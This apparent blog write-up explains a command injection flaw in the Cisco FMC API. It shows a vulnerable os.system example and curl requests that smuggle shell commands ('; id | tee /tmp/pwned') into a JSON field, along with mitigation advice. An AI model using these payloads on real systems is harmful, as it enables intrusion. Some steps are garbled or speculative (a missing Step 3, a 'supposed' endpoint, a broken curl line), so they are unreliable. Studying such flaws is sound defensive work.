CVE-2022-20926 - Command Injection in Cisco FMC API – Exploit Analysis & Practical Guide

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TL;DR

CVE-2022-20926 is a critical vulnerability in the Cisco Firepower Management Center (FMC) software’s web management interface. The flaw allows any authenticated user with Device permissions to execute arbitrary commands on the underlying Linux operating system by abusing certain API endpoints with poorly validated input. This post breaks down how the vulnerability works, demo exploit flows, mitigation methods, and points you to original resources for further reading.

What is Cisco Firepower Management Center (FMC)?

Cisco FMC is a central management platform for Cisco’s Firepower Threat Defense appliances. It manages firewall rules, security policies, software upgrades, and more, all via a web UI or API.

Root Cause of CVE-2022-20926

- Insufficient Input Validation: Certain API endpoints in FMC failed to properly sanitize user-supplied parameters.
- Result: If a user with Device permissions submitted malicious input, that code could get executed as commands on the FMC’s host OS.

Network Admins

*Note*: Read-only users or “monitor” accounts can’t trigger this bug by default.

How Does the Exploit Work?

The attack requires valid FMC credentials with at least Device permissions. The attacker then sends a crafted API call containing malicious code in place of a user-controlled parameter, such as a file path or command argument.

Example Vulnerable API Endpoint

Suppose there’s a REST endpoint like /api/commands/configure. If the backend inserts your input directly into a shell command like:

os.system("cat %s" % request.json['filename'])

If you submit

{"filename": "foo.txt; id > /tmp/pwned"}

the executed command becomes

cat foo.txt; id > /tmp/pwned

Now id > /tmp/pwned runs as a shell command, potentially revealing system identity info.

Authenticate to the API (using, say, Postman or curl)

curl -k -u admin:password https://<fmc-ip>/api/fmc_platform/v1/auth/generatetoken

This returns X-auth-access-token, which you’ll use in the next call.

Step 2: Send Malicious Input

Suppose the vulnerable endpoint is /api/fmc_config/v1/domain/{domainUUID}/object/filepaths.

Example exploit request

curl -k -X POST "https://<fmc-ip>/api/fmc_config/v1/domain/<domainUUID>/object/filepaths"; \
  -H 'Content-Type: application/json' \
  -H "X-auth-access-token: $TOKEN" \
  -d '{
        "name": "exploit",
        "path": "validfile; id | tee /tmp/pwned"
      }'

Replace <fmc-ip> and <domainUUID> accordingly.

Step 3: Check Execution Result

Real-World Risk

Exploiting this flaw gives attackers command execution with low system privileges. From there, they may escalate privileges, pivot to other internal hosts, or recover sensitive configs from FMC itself.

Cisco’s Advisory & Patches

Original advisory:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-cmd-inject-3hf7J6Yt

6.7 and earlier

Fixed releases:
See Cisco’s advisory for exact fixed version numbers.

References

- Cisco Security Advisory: cisco-sa-fmc-cmd-inject-3hf7J6Yt
- CVE Entry at MITRE
- Cisco FMC Documentation

Final Words

CVE-2022-20926 serves as a strong reminder: even “admins only” APIs must strictly validate all inputs, and that low-privilege command execution is dangerous enough for lateral moves or privilege escalation. Audit your systems, upgrade, and review account privileges proactively.

*Stay safe out there—never leave your critical network devices exposed or unpatched!*

Timeline

Published on: 11/15/2022 21:15:00 UTC
Last modified on: 11/22/2022 00:43:00 UTC